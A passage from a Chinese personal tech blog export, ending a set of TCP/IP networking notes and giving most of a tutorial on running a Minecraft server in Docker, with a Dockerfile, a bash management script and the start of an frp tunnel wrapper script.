Protocol\u003c/strong\u003e。而IP使用四个协议:\u003c/p\u003e\u003cul\u003e\u003cli\u003eARP地址解析协议:将逻辑地址和物理地址关联起来\u003c/li\u003e\u003cli\u003eRARP:逆向ARP。用于从物理地址得到逻辑地址\u003c/li\u003e\u003cli\u003eICMP:因特网控制报文协议,主机和网关使用的机制,用来向发送方通知数据报发生的问题\u003c/li\u003e\u003cli\u003eIGMP:因特网组报文协议,将一个报文同时发送给一组接收者\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"传输层\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E4%BC%A0%E8%BE%93%E5%B1%82\" class=\"headerlink\" title=\"传输层\"\u003e\u003c/a\u003e传输层\u003c/h4\u003e\u003cp\u003e主要有UDP、TCP和SCTP三个协议。其中UDP是无连接的不可靠协议,TCP是面向连接的可靠协议。SCTP则综合了前两者的优点,比较新。\u003c/p\u003e\u003ch4 id=\"应用层\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E5%BA%94%E7%94%A8%E5%B1%82\" class=\"headerlink\" title=\"应用层\"\u003e\u003c/a\u003e应用层\u003c/h4\u003e\u003cp\u003e相当于OSI的\u003cstrong\u003e会话层+表示层+应用层\u003c/strong\u003e,定义了许多协议,比如\u003cstrong\u003eSMTP,FTP,HTTP(S),DNS,SNMP,TELNET等\u003c/strong\u003e。\u003c/p\u003e\u003ch3 id=\"寻址\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E5%AF%BB%E5%9D%80\" class=\"headerlink\" title=\"寻址\"\u003e\u003c/a\u003e寻址\u003c/h3\u003e\u003cp\u003eTCP/IP采用四层地址:\u003cstrong\u003e物理链路地址、逻辑地址IP、端口地址和专用地址\u003c/strong\u003e。它们分别和物理层+数据链路层、网络层、传输层、应用层相关联。\u003c/p\u003e\u003ch4 id=\"物理地址\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E7%89%A9%E7%90%86%E5%9C%B0%E5%9D%80\" class=\"headerlink\" title=\"物理地址\"\u003e\u003c/a\u003e物理地址\u003c/h4\u003e\u003cp\u003e也是链路地址,是网络中的节点地址,标识在网络接口卡(NIC)上。MAC地址一般使用48位(二进制数)地址表示\u003c/p\u003e\u003ch4 id=\"逻辑地址\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E9%80%BB%E8%BE%91%E5%9C%B0%E5%9D%80\" class=\"headerlink\" title=\"逻辑地址\"\u003e\u003c/a\u003e逻辑地址\u003c/h4\u003e\u003cp\u003e目前在用IPv4。它唯一定义了连接在因特网上的一台主机。跳到跳传输时,物理地址会改变,但是逻辑地址保持不变。\u003c/p\u003e\u003ch4 id=\"端口地址\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E7%AB%AF%E5%8F%A3%E5%9C%B0%E5%9D%80\" class=\"headerlink\" title=\"端口地址\"\u003e\u003c/a\u003e端口地址\u003c/h4\u003e\u003cp\u003e一般用来标识一个主机上的一个唯一的进程。端口号由IANA规定。\u003c/p\u003e\u003ch4 id=\"专用地址\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E4%B8%93%E7%94%A8%E5%9C%B0%E5%9D%80\" class=\"headerlink\" title=\"专用地址\"\u003e\u003c/a\u003e专用地址\u003c/h4\u003e\u003cp\u003e面向用户。比如URL就是专用地址,再比如电子邮件的地址也是专用地址。\u003c/p\u003e\u003cp\u003e上面就是概述部分的内容了。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/"},{"title":"用Docker开个MC服务器","time":"2023-06-07T13:26:19Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e前段时间好好学了下Docker,于是想试着用它去部署一些比较麻烦的服务端。所以首先就是试试MC了,毕竟能实现服务端跟地图数据分离以及服务端自动化部署,便于迁移确实很爽。\u003c/p\u003e\u003cp\u003e虽然MC服务端的性能敏感性比较高,但是Docker+MC的性能问题比较小,因为基于KVM,虚拟化由内核支持,所以Docker性能开销相当小,日用基本可以忽略。\u003c/p\u003e\u003ch2 id=\"目标\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E6%B8%B8%E6%88%8F/Minecraft/%E7%94%A8Docker%E5%BC%80%E4%B8%AAMC%E6%9C%8D%E5%8A%A1%E5%99%A8/#%E7%9B%AE%E6%A0%87\" class=\"headerlink\" title=\"目标\"\u003e\u003c/a\u003e目标\u003c/h2\u003e\u003cp\u003e部署好之后,目录下应该只有一个地图文件夹,一个服务端程序,以及一个明确指示了地图文件夹和服务端程序路径的dockerfile。如果使用docker-compose去实现包括mc服务端的外围功能(比如bluemap等地图功能,以及geyser这样的be兼容转换服务端),那也可以,不过得保证数据程序的分离,以及可维护、易于修改的特质。\u003c/p\u003e\u003cp\u003e基于上面的目标,可以使用Volume完成资源的映射。我们需要的只是一个基础的jre镜像。\u003c/p\u003e\u003ch2 id=\"代码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E6%B8%B8%E6%88%8F/Minecraft/%E7%94%A8Docker%E5%BC%80%E4%B8%AAMC%E6%9C%8D%E5%8A%A1%E5%99%A8/#%E4%BB%A3%E7%A0%81\" class=\"headerlink\" title=\"代码\"\u003e\u003c/a\u003e代码\u003c/h2\u003e\u003cp\u003eDockerfile很简单,就是基础的jre镜像,以及启动指令。\u003c/p\u003e\u003cfigure class=\"highlight dockerfile\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eFROM\u003c/span\u003e openjdk:\u003cspan class=\"number\"\u003e17\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eWORKDIR\u003c/span\u003e\u003cspan class=\"language-bash\"\u003e /app\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eRUN\u003c/span\u003e\u003cspan class=\"language-bash\"\u003e \u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;eula=true\u0026#34;\u003c/span\u003e \u0026gt; /app/eula.txt\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eCMD\u003c/span\u003e\u003cspan class=\"language-bash\"\u003e [\u003cspan class=\"string\"\u003e\u0026#34;java\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;-jar\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;server.jar\u0026#34;\u003c/span\u003e]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后是启动脚本,我将几个常用指令封装成一个Bash脚本了:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#!/bin/bash\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 获取第一个参数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eaction=\u003cspan class=\"variable\"\u003e$1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 根据参数执行不同的操作\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"variable\"\u003e$action\u003c/span\u003e \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e run) \u003cspan class=\"comment\"\u003e# 运行容器\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker run -d \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e -p 25565:25565 \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e -v $(\u003cspan class=\"built_in\"\u003epwd\u003c/span\u003e)/world:/app/world \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e -v $(\u003cspan class=\"built_in\"\u003epwd\u003c/span\u003e)/server.jar:/app/server.jar \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e -v $(\u003cspan class=\"built_in\"\u003epwd\u003c/span\u003e)/server.properties:/app/server.properties \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e --name mc \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e mc-server\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e build) \u003cspan class=\"comment\"\u003e# 构建镜像\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker build -t mc-server .\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e stop) \u003cspan class=\"comment\"\u003e# 停止容器\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker stop mc\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e start) \u003cspan class=\"comment\"\u003e# 启动容器\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker start mc\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e restart) \u003cspan class=\"comment\"\u003e# 重启容器\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker restart mc\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e backup) \u003cspan class=\"comment\"\u003e# 备份文件\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e timestamp=$(\u003cspan class=\"built_in\"\u003edate\u003c/span\u003e +%Y%m%d%H%M%S)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e zip -r [backup]mc-server-\u003cspan class=\"variable\"\u003e$timestamp\u003c/span\u003e.zip world server.properties mc.sh Dockerfile server.jar\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003elog\u003c/span\u003e) \u003cspan class=\"comment\"\u003e# 输出日志\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker logs -f mc\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sh) \u003cspan class=\"comment\"\u003e# 进入shell\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker \u003cspan class=\"built_in\"\u003eexec\u003c/span\u003e -it mc sh\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e *) \u003cspan class=\"comment\"\u003e# 输出帮助信息并退出\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;Usage: \u003cspan class=\"variable\"\u003e$0\u003c/span\u003e {run|build|stop|start|restart|log|sh}\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e 1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eesac\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后,在保证目录下有\u003ccode\u003eserver.jar\u003c/code\u003e和\u003ccode\u003eserver.properties\u003c/code\u003e的前提下,使用\u003ccode\u003e./mc.sh run\u003c/code\u003e来初始化并运行服务端。剩下的用法参考上面的代码,或者参考\u003ca href=\"https://github.com/xeonds/docker-mc/\"\u003e这里\u003c/a\u003e。\u003c/p\u003e\u003ch2 id=\"外围\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E6%B8%B8%E6%88%8F/Minecraft/%E7%94%A8Docker%E5%BC%80%E4%B8%AAMC%E6%9C%8D%E5%8A%A1%E5%99%A8/#%E5%A4%96%E5%9B%B4\" class=\"headerlink\" title=\"外围\"\u003e\u003c/a\u003e外围\u003c/h2\u003e\u003cp\u003e开了服务器之后,肯定需要对公网/内网开放。我在这里用了一个frp的镜像,同样也将它封装为了启动脚本:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#!/bin/bash\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 定义容器名称和配置文件路径\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eCONTAINER_NAME=frpc\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eCONFIG_FILE=$(\u003cspan class=\"built_in\"\u003epwd\u003c/span\u003e)/frpc.ini\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 检查参数个数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e [ \u003cspan class=\"variable\"\u003e$#\u003c/span\u003e -eq 0 ]; \u003cspan class=\"keyword\"\u003ethen\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;Usage: \u003cspan class=\"variable\"\u003e$0\u003c/span\u003e run|start|stop|restart\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e 1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efi\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 根据参数执行相应操作\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"variable\"\u003e$1\u003c/span\u003e \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e run)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# 部署容器\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker run --restart=always --network host -d -v \u003cspan class=\"variable\"\u003e$CONFIG_FILE\u003c/span\u003e:/etc/frp/frpc.ini --name \u003cspan class=\"variable\"\u003e$CONTAINER_NAME\u003c/span\u003e snowdreamtech/frpc\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e start)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# 启动容器\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker start \u003cspan class=\"variable\"\u003e$CONTAINER_NAME\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e stop)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# 停止容器\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker stop \u003cspan class=\"variable\"\u003e$CONTAINER_NAME\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e restart)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# 重启容器\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker restart \u003cspan class=\"variable\"\u003e$CONTAINER_NAME\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003elog\u003c/span\u003e) \u003cspan class=\"comment\"\u003e# 输出日志\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker logs -f \u003cspan class=\"variable\"\u003e$CONTAINER_NAME\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sh) \u003cspan class=\"comment\"\u003e# 进入shell\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker \u003cspan 